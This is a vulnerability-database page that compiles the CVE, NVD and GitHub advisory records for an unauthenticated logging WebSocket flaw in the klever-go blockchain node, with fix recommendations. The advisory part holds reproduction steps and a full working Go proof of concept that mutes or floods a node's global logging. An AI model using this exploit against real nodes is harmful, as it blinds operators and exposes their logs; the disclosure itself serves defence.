Vulnerability-Lookup

CVE-2026-86064 (GCVE-0-2026-86064)

Vulnerability from cvelistv5 – Published: 2026-09-23 19:12 – Updated: 2026-09-23 19:29

Title

Klever-Go: /log controls global node logging

Summary

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-23 19:29 UTC

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/klever-io/klever-go/security/a…	x_refsource_CONFIRM
https://github.com/klever-io/klever-go/pull/74	x_refsource_MISC
https://github.com/klever-io/klever-go/commit/a27…	x_refsource_MISC
https://github.com/klever-io/klever-go/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
klever-io	klever-go	Affected: < 1.7.20	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-86064",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-23T19:29:16.068653Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-23T19:29:31.649Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.20"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-23T19:12:51.757Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
        },
        {
          "name": "https://github.com/klever-io/klever-go/pull/74",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/pull/74"
        },
        {
          "name": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
        },
        {
          "name": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
        }
      ],
      "source": {
        "advisory": "GHSA-9v8p-frvj-2pcm",
        "discovery": "UNKNOWN"
      },
      "title": "Klever-Go: /log controls global node logging"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86064",
    "datePublished": "2026-09-23T19:12:51.757Z",
    "dateReserved": "2026-09-04T19:34:03.099Z",
    "dateUpdated": "2026-09-23T19:29:31.649Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "klever-go",
                "vendor": "klever-io",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.7.20"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20."
          }
        ],
        "id": "CVE-2026-86064",
        "lastModified": "2026-09-23T20:17:20.117",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 8.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 4.7,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-86064",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-23T19:29:16.068653Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-23T20:17:19.960",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/klever-io/klever-go/pull/74"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-200"
              },
              {
                "lang": "en",
                "value": "CWE-306"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-86064",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-23T19:29:16.068653Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-23T19:29:28.675Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "klever-go",
              "vendor": "klever-io",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.7.20"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 8.6,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "LOW",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-200",
                  "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-306",
                  "description": "CWE-306: Missing Authentication for Critical Function",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-23T19:12:51.757Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
            },
            {
              "name": "https://github.com/klever-io/klever-go/pull/74",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/klever-io/klever-go/pull/74"
            },
            {
              "name": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
            },
            {
              "name": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
            }
          ],
          "source": {
            "advisory": "GHSA-9v8p-frvj-2pcm",
            "discovery": "UNKNOWN"
          },
          "title": "Klever-Go: /log controls global node logging"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-86064",
        "datePublished": "2026-09-23T19:12:51.757Z",
        "dateReserved": "2026-09-04T19:34:03.099Z",
        "dateUpdated": "2026-09-23T19:29:31.649Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-86064

Vulnerability from fkie_nvd - Published: 2026-09-23 20:17 - Updated: 2026-09-23 20:17

Severity

8.6 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2
	security-advisories@github.com	https://github.com/klever-io/klever-go/pull/74
	security-advisories@github.com	https://github.com/klever-io/klever-go/releases/tag/v1.7.20
	security-advisories@github.com	https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.20"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20."
    }
  ],
  "id": "CVE-2026-86064",
  "lastModified": "2026-09-23T20:17:20.117",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-86064",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-23T19:29:16.068653Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-23T20:17:19.960",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/pull/74"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        },
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-9V8P-FRVJ-2PCM

Vulnerability from github – Published: 2026-09-23 19:13 – Updated: 2026-09-23 19:13

Summary

Klever-Go: /log controls global node logging

Details

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

Route exposed by default in config/node/api.yaml
Route registration in network/api/api.go
Unauthenticated upgrade in network/api/api.go
First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
REST API bound locally for validation
Tested on 2026-05-30

Step 1: Build and run a local validator from source

cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

curl -i http://127.0.0.1:18080/log

Observed response:

HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to `/log` without authentication and apply a global mute profile

Run the PoC file:

cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

package main

import (
    "flag"
    "fmt"
    "log"
    "time"

    "github.com/gorilla/websocket"
)

func main() {
    url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
    profile := flag.String("profile", "none", "Profile to send: none or trace")
    hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
    flag.Parse()

    payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
    switch *profile {
    case "trace":
        payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
    case "none":
    default:
        log.Fatalf("unsupported profile %q", *profile)
    }

    c, _, err := websocket.DefaultDialer.Dial(*url, nil)
    if err != nil {
        log.Fatalf("dial: %v", err)
    }
    defer c.Close()

    fmt.Printf("connected to %s\n", *url)
    fmt.Printf("sending payload: %s\n", payload)

    if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
        log.Fatalf("write payload: %v", err)
    }

    fmt.Printf("holding connection open for %s\n", hold.String())
    time.Sleep(*hold)
    fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Impact

An unauthenticated attacker can:

read live process logs over /log
mute node logging completely with *:NONE
increase verbosity to *:TRACE and force noisy logging
toggle correlation and logger-name settings process-wide

This affects both confidentiality and operational integrity.

In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.

This issue is distinct from:

GHSA-jc6w-wmfc-fh33 (KVM read-only execution side effects)
GHSA-87m7-qffr-542v (MultiDataInterceptor remote OOM)
GHSA-74m6-4hjp-7226 (MultiDataInterceptor throttler slot leak)

Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.

Recommended fix

Immediate

Remove /log from the default open: true route set.
Require authentication before upgrading the WebSocket.
Reject unauthenticated clients before any profile message is processed.

Short term

Do not apply client-provided logger profiles to the process-global logger.
If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

Separate log streaming from global logger configuration.
Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T19:13:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "An unauthenticated client can connect to `GET /log`, send an arbitrary logger profile as the first WebSocket message, and mutate the node\u0027s global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to `*:NONE`, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.\n\nThis is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.\n\n## Vulnerability details\n\n### Affected code\n\n- Route exposed by default in `config/node/api.yaml`\n- Route registration in `network/api/api.go`\n- Unauthenticated upgrade in `network/api/api.go`\n- First client message is parsed as a logger profile and applied globally in `network/api/logs/logSender.go`\n- Global logger mutation happens in dependency `github.com/klever-io/klever-go-logger`, `profile.go`, `Apply()`\n\n### Root cause\n\n`/log` is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger `Profile`. That profile is then applied process-wide through `profile.Apply()`, which changes global log level patterns and output formatting options for the whole node.\n\nAfter that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.\n\n## Reproduction steps\n\n### Environment\n\n- Validator built from the repository at commit `9640d63265e910e166dfa694c8e5ddeb53018ffd`\n- REST API bound locally for validation\n- Tested on 2026-05-30\n\n### Step 1: Build and run a local validator from source\n\n```bash\ncd \u003crepo-root\u003e\n\ngo build -o ./bin/validator ./cmd/node\n\n./bin/validator \\\n  --rest-api-interface=127.0.0.1:18080 \\\n  --port=18083 \\\n  --config=./config/node/config.yaml \\\n  --config-api=./config/node/api.yaml \\\n  --config-epochs=./config/node/enableEpochs.yaml \\\n  --config-gas-schedule=./config/node/gasScheduleV1.yaml \\\n  --config-external=./config/node/external.yaml \\\n  --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json \\\n  --working-directory=./validator-report-run \\\n  --use-log-view\n```\n\nThe node exposes `GET /log` and a plain HTTP request already shows it is a live WebSocket endpoint:\n\n```bash\ncurl -i http://127.0.0.1:18080/log\n```\n\nObserved response:\n\n```http\nHTTP/1.1 400 Bad Request\nSec-Websocket-Version: 13\n```\n\n### Step 2: Confirm normal node logging before the attack\n\nBefore the attack, the validator emits periodic slot logs such as:\n\n```text\n#################################### SLOT 14 BEGINS ####################################\n#################################### SLOT 15 BEGINS ####################################\n```\n\n### Step 3: Connect to `/log` without authentication and apply a global mute profile\n\nRun the PoC file:\n\n```bash\ncd \u003crepo-root\u003e\ngo run ./poc-log-profile-control.go \\\n  -url ws://127.0.0.1:18080/log \\\n  -profile none \\\n  -hold 12s\n```\n\nFull PoC source:\n\n```go\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/gorilla/websocket\"\n)\n\nfunc main() {\n\turl := flag.String(\"url\", \"ws://127.0.0.1:18080/log\", \"WebSocket log endpoint\")\n\tprofile := flag.String(\"profile\", \"none\", \"Profile to send: none or trace\")\n\thold := flag.Duration(\"hold\", 12*time.Second, \"How long to keep the socket open\")\n\tflag.Parse()\n\n\tpayload := `{\"LogLevelPatterns\":\"*:NONE\",\"WithCorrelation\":false,\"WithLoggerName\":false}`\n\tswitch *profile {\n\tcase \"trace\":\n\t\tpayload = `{\"LogLevelPatterns\":\"*:TRACE\",\"WithCorrelation\":true,\"WithLoggerName\":true}`\n\tcase \"none\":\n\tdefault:\n\t\tlog.Fatalf(\"unsupported profile %q\", *profile)\n\t}\n\n\tc, _, err := websocket.DefaultDialer.Dial(*url, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"dial: %v\", err)\n\t}\n\tdefer c.Close()\n\n\tfmt.Printf(\"connected to %s\\n\", *url)\n\tfmt.Printf(\"sending payload: %s\\n\", payload)\n\n\tif err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {\n\t\tlog.Fatalf(\"write payload: %v\", err)\n\t}\n\n\tfmt.Printf(\"holding connection open for %s\\n\", hold.String())\n\ttime.Sleep(*hold)\n\tfmt.Println(\"closing connection\")\n}\n```\n\nSave the PoC as `poc-log-profile-control.go` in the repository root, or run it from any directory with access to the Go module cache.\n\n### Step 4: Observe the validator accepts and applies the unauthenticated profile\n\nWhile the PoC is connected, the validator prints:\n\n```text\nwebsocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]\n```\n\n### Step 5: Observe logging is suppressed while the attacker connection remains open\n\nIn my local reproduction, the validator emitted:\n\n```text\nSLOT 14 BEGINS\nwebsocket log profile received profile = [pattern=*:NONE, ...]\nreverted log profile profile = [pattern=*:INFO, ...]\nSLOT 18 BEGINS\n```\n\nThe expected slot logs for the interval while `*:NONE` was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.\n\n### Step 6: Observe the profile is restored only after the attacker disconnects\n\nAfter the PoC closes the WebSocket, the validator prints:\n\n```text\nreverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]\n```\n\nThe revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- read live process logs over `/log`\n- mute node logging completely with `*:NONE`\n- increase verbosity to `*:TRACE` and force noisy logging\n- toggle correlation and logger-name settings process-wide\n\nThis affects both confidentiality and operational integrity.\n\nIn the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.\n\nThis issue is distinct from:\n\n- `GHSA-jc6w-wmfc-fh33` (KVM read-only execution side effects)\n- `GHSA-87m7-qffr-542v` (MultiDataInterceptor remote OOM)\n- `GHSA-74m6-4hjp-7226` (MultiDataInterceptor throttler slot leak)\n\nThose are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.\n\n## Recommended fix\n\n### Immediate\n\n- Remove `/log` from the default `open: true` route set.\n- Require authentication before upgrading the WebSocket.\n- Reject unauthenticated clients before any profile message is processed.\n\n### Short term\n\n- Do not apply client-provided logger profiles to the process-global logger.\n- If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.\n- Enforce origin checks and, if possible, bind `/log` to localhost-only or a dedicated admin interface.\n\n### Long term\n\n- Separate log streaming from global logger configuration.\n- Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.",
  "id": "GHSA-9v8p-frvj-2pcm",
  "modified": "2026-09-23T19:13:47Z",
  "published": "2026-09-23T19:13:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/pull/74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    }
  ],
